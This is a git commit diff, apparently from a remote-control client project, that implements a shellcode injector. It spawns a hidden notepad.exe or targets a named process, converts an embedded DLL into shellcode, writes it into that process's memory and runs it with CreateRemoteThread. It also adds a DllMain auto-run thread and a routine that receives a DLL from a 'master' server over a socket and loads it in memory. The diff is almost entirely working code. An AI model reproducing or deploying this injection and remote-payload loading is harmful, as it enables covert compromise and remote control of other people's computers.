Implement a shell code injector

This commit is contained in:
yuanyuanxiang
2025-04-24 03:01:40 +08:00
parent 323500dc90
commit 4926cdb19c
8 changed files with 73538 additions and 24 deletions

View File

@@ -269,6 +269,23 @@ int main(int argc, const char *argv[])
}
#else
extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param) {
do
{
TestRun(NULL, 0);
} while (S_SERVER_EXIT == g_MyApp.g_bExit);
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
HMODULE hInstance = (HMODULE)param;
FreeLibraryAndExitThread(hInstance, -1);
}
return 0;
}
BOOL APIENTRY DllMain( HINSTANCE hInstance,
DWORD ul_reason_for_call,
LPVOID lpReserved
@@ -277,13 +294,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
{
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break;
}
case DLL_PROCESS_DETACH:
g_MyApp.g_bExit = S_CLIENT_EXIT;
break;
}
return TRUE;
@@ -294,14 +311,17 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort)
{
ClientApp& app(g_MyApp);
CONNECT_ADDRESS& settings(*(app.g_Connection));
app.g_bExit = S_CLIENT_NORMAL;
if (strlen(szServerIP)>0 && uPort>0)
{
if (app.IsThreadRun()) {
settings.SetServer(szServerIP, uPort);
return;
}
app.SetThreadRun(TRUE);
app.SetProcessState(S_CLIENT_NORMAL);
settings.SetServer(szServerIP, uPort);
HANDLE hThread = CreateThread(NULL,0,StartClient, &app,0,NULL);
if (hThread == NULL) {
app.SetThreadRun(FALSE);
return;
}
#ifdef _DEBUG
@@ -460,7 +480,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
}
}
app.g_bThreadExit = false;
app.SetThreadRun(TRUE);
while (app.m_bIsRunning(&app))
{
ULONGLONG dwTickCount = GetTickCount64();
@@ -493,7 +513,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
Mprintf("StartClient end\n");
delete ClientObject;
SAFE_DELETE(Manager);
app.g_bThreadExit = true;
app.SetThreadRun(FALSE);
return 0;
}

View File

@@ -39,6 +39,7 @@ typedef struct ClientApp
g_Connection = new CONNECT_ADDRESS(*conn);
m_bIsRunning = run;
m_bShared = shared;
g_bThreadExit = TRUE;
}
~ClientApp() {
SAFE_DELETE(g_Connection);
@@ -62,6 +63,22 @@ typedef struct ClientApp
while (GetCount())
Sleep(50);
}
bool IsThreadRun() {
m_Locker.Lock();
BOOL n = g_bThreadExit;
m_Locker.Unlock();
return FALSE == n;
}
void SetThreadRun(BOOL run = TRUE) {
m_Locker.Lock();
g_bThreadExit = !run;
m_Locker.Unlock();
}
void SetProcessState(State state = S_CLIENT_NORMAL) {
m_Locker.Lock();
g_bExit = state;
m_Locker.Unlock();
}
}ClientApp;
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE);

338
client/Loader.cpp Normal file

File diff suppressed because one or more lines are too long

72921
client/SCLoader.cpp Normal file

File diff suppressed because it is too large Load Diff

184
client/ShellcodeInj.h Normal file
View File

@@ -0,0 +1,184 @@
#pragma once
#include "StdAfx.h"
#include <string>
#include <iostream>
#include <tlhelp32.h>
// A shell code loader connect to 127.0.0.1:6543.
#include "SCLoader.cpp"
BOOL ConvertToShellcode(LPVOID inBytes, DWORD length, DWORD userFunction, LPVOID userData, DWORD userLength,
DWORD flags, LPSTR& outBytes, DWORD& outLength);
// A shell code injector.
class ShellcodeInj
{
public:
// Return the process id if inject succeed.
int InjectProcess(const char* processName = nullptr) {
if (processName) {
auto pid = GetProcessIdByName(processName);
if (pid ? InjectShellcode(pid, (BYTE*)Loader, sizeof(Loader)) : false)
return pid;
}
PROCESS_INFORMATION pi = {};
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE; // hide the window
if (CreateProcess(NULL, "\"notepad.exe\"", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) {
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return InjectShellcode(pi.dwProcessId, (BYTE*)Loader, sizeof(Loader)) ? pi.dwProcessId : 0;
}
return 0;
}
private:
// Find process id by name.
DWORD GetProcessIdByName(const std::string& procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE) {
PROCESSENTRY32 pe32 = { sizeof(pe32) };
if (Process32First(hSnap, &pe32)) {
do {
if (_stricmp(pe32.szExeFile, procName.c_str()) == 0) {
pid = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
}
return pid;
}
// Check if the process is 64bit.
bool IsProcess64Bit(HANDLE hProcess, BOOL& is64Bit)
{
BOOL bWow64 = FALSE;
typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS2)(HANDLE, USHORT*, USHORT*);
HMODULE hKernel = GetModuleHandleA("kernel32.dll");
LPFN_ISWOW64PROCESS2 fnIsWow64Process2 = hKernel ?
(LPFN_ISWOW64PROCESS2)::GetProcAddress(hKernel, "IsWow64Process2") : nullptr;
if (fnIsWow64Process2)
{
USHORT processMachine = 0, nativeMachine = 0;
if (fnIsWow64Process2(hProcess, &processMachine, &nativeMachine))
{
is64Bit = (processMachine == IMAGE_FILE_MACHINE_UNKNOWN) && (nativeMachine == IMAGE_FILE_MACHINE_AMD64);
return true;
}
}
else
{
// Old system use IsWow64Process
if (IsWow64Process(hProcess, &bWow64))
{
is64Bit = sizeof(void*) == 8 ? TRUE : !bWow64;
return true;
}
}
return false;
}
// Check if it's able to inject.
HANDLE CheckProcess(DWORD pid) {
HANDLE hProcess = OpenProcess(
PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE, pid);
if (!hProcess) {
std::cout << "OpenProcess failed. PID: " << pid << std::endl;
return nullptr;
}
// Check process and system architecture.
BOOL targetIs64Bit = FALSE;
BOOL success = IsProcess64Bit(hProcess, targetIs64Bit);
if (!success) {
std::cout << "Get architecture failed " << std::endl;
CloseHandle(hProcess);
return nullptr;
}
const BOOL selfIs64Bit = sizeof(void*) == 8;
if (selfIs64Bit != targetIs64Bit) {
std::cout << "[Unable inject] Injector is " << (selfIs64Bit ? "64bit" : "32bit")
<< ", Target process is " << (targetIs64Bit ? "64bit" : "32bit") << std::endl;
CloseHandle(hProcess);
return nullptr;
}
return hProcess;
}
bool MakeShellcode(LPBYTE& compressedBuffer, int& ulTotalSize, LPBYTE originBuffer, int ulOriginalLength) {
if (originBuffer[0] == 'M' && originBuffer[1] == 'Z') {
LPSTR finalShellcode = NULL;
DWORD finalSize;
if (!ConvertToShellcode(originBuffer, ulOriginalLength, NULL, NULL, 0, 0x1, finalShellcode, finalSize)) {
return false;
}
compressedBuffer = new BYTE[finalSize];
ulTotalSize = finalSize;
memcpy(compressedBuffer, finalShellcode, finalSize);
free(finalShellcode);
return true;
}
return false;
}
// Inject shell code to target process.
bool InjectShellcode(DWORD pid, const BYTE* pDllBuffer, int dllSize) {
HANDLE hProcess = CheckProcess(pid);
if (!hProcess)
return false;
// Convert DLL -> Shell code.
LPBYTE shellcode = NULL;
int len = 0;
if (!MakeShellcode(shellcode, len, (LPBYTE)pDllBuffer, dllSize)) {
std::cout << "MakeShellcode failed " << std::endl;
CloseHandle(hProcess);
return false;
}
LPVOID remoteBuffer = VirtualAllocEx(hProcess, nullptr, len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!remoteBuffer) {
std::cout << "VirtualAllocEx failed " << std::endl;
CloseHandle(hProcess);
return false;
}
if (!WriteProcessMemory(hProcess, remoteBuffer, shellcode, len, nullptr)) {
std::cout << "WriteProcessMemory failed " << std::endl;
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
delete[] shellcode;
return false;
}
delete[] shellcode;
// Shell code entry.
LPTHREAD_START_ROUTINE entry = reinterpret_cast<LPTHREAD_START_ROUTINE>(reinterpret_cast<ULONG_PTR>(remoteBuffer));
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0, entry, remoteBuffer, 0, nullptr);
if (!hThread) {
std::cout << "CreateRemoteThread failed " << std::endl;
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hProcess);
return false;
}
WaitForSingleObject(hThread, INFINITE);
std::cout << "Finish injecting to PID: " << pid << std::endl;
VirtualFreeEx(hProcess, remoteBuffer, 0, MEM_RELEASE);
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}
};

View File

@@ -154,12 +154,14 @@
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="Loader.cpp" />
<ClCompile Include="MemoryModule.c" />
<ClCompile Include="test.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="MemoryModule.h" />
<ClInclude Include="resource1.h" />
<ClInclude Include="ShellcodeInj.h" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="TestRun.rc" />

View File

@@ -5,6 +5,7 @@
#include "common/commands.h"
#include "StdAfx.h"
#include "MemoryModule.h"
#include "ShellcodeInj.h"
#include <WS2tcpip.h>
#pragma comment(lib, "ws2_32.lib")
@@ -140,7 +141,7 @@ public:
// Memory DLL runner.
class MemoryDllRunner : public DllRunner {
private:
protected:
HMEMORYMODULE m_mod;
std::string GetIPAddress(const char* hostName)
{
@@ -169,8 +170,7 @@ private:
}
public:
MemoryDllRunner() : m_mod(nullptr){}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path) {
virtual const char* ReceiveDll(int &size) {
WSADATA wsaData = {};
if (WSAStartup(MAKEWORD(2, 2), &wsaData))
return nullptr;
@@ -179,7 +179,7 @@ public:
char* buffer = new char[bufSize];
bool isFirstConnect = true;
do{
do {
if (!isFirstConnect)
Sleep(5000);
@@ -214,7 +214,7 @@ public:
closesocket(clientSocket);
continue;
}
char *ptr = buffer + sizeof(PkgHeader);
char* ptr = buffer + sizeof(PkgHeader);
int bufferSize = 16 * 1024, bytesReceived = 0, totalReceived = 0;
while (totalReceived < bufSize) {
int bytesToReceive = min(bufferSize, bufSize - totalReceived);
@@ -227,18 +227,25 @@ public:
continue;
}
BYTE cmd = ptr[0], type = ptr[1];
int size = 0;
size = 0;
memcpy(&size, ptr + 2, sizeof(int));
if (totalReceived != size + 6 + sizeof(PkgHeader)) {
continue;
}
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
closesocket(clientSocket);
} while (false);
SAFE_DELETE_ARRAY(buffer);
WSACleanup();
return buffer;
}
// Request DLL from the master.
virtual void* LoadLibraryA(const char* path) {
int size = 0;
auto buffer = ReceiveDll(size);
if (nullptr == buffer)
return nullptr;
m_mod = ::MemoryLoadLibrary(buffer + 6 + sizeof(PkgHeader), size);
SAFE_DELETE_ARRAY(buffer);
return m_mod;
}
virtual FARPROC GetProcAddress(void* mod, const char* lpProcName) {
@@ -264,6 +271,26 @@ int main(int argc, const char *argv[])
status = 0;
SetConsoleCtrlHandler(&callback, TRUE);
// Try to inject shell code to `notepad.exe`
// If failed then run memory DLL
ShellcodeInj inj;
int pid = 0;
do{
if (sizeof(void*) == 4) // Shell code is 64bit
break;
if (!(pid = inj.InjectProcess(nullptr))) {
break;
}
HANDLE hProcess = OpenProcess(SYNCHRONIZE, FALSE, pid);
if (hProcess == NULL) {
break;
}
Mprintf("Inject process [%d] succeed.\n", pid);
DWORD waitResult = WaitForSingleObject(hProcess, INFINITE);
CloseHandle(hProcess);
Mprintf("Process [%d] is finished.\n", pid);
} while (pid);
do {
BOOL ret = Run(argc > 1 ? argv[1] : (strlen(g_ConnectAddress.ServerIP()) == 0 ? "127.0.0.1" : g_ConnectAddress.ServerIP()),
argc > 2 ? atoi(argv[2]) : (g_ConnectAddress.ServerPort() == 0 ? 6543 : g_ConnectAddress.ServerPort()));

View File

@@ -297,11 +297,16 @@ public:
int ClientType()const {
return iType;
}
void SetServer(const char* ip, int port) {
if (ip && strlen(ip) && port > 0) {
strcpy_s(szServerIP, ip);
sprintf_s(szPort, "%d", port);
}
// return true if modified
bool SetServer(const char* ip, int port, bool e = false) {
if (ip == NULL || strlen(ip) <= 0 || port <= 0)
return false;
bool modified = bEncrypt != e || strcmp(ServerIP(), ip) != 0 || port != ServerPort();
bEncrypt = e;
strcpy_s(szServerIP, ip);
sprintf_s(szPort, "%d", port);
return modified;
}
bool IsValid()const {
return strlen(szServerIP) != 0 && atoi(szPort) > 0;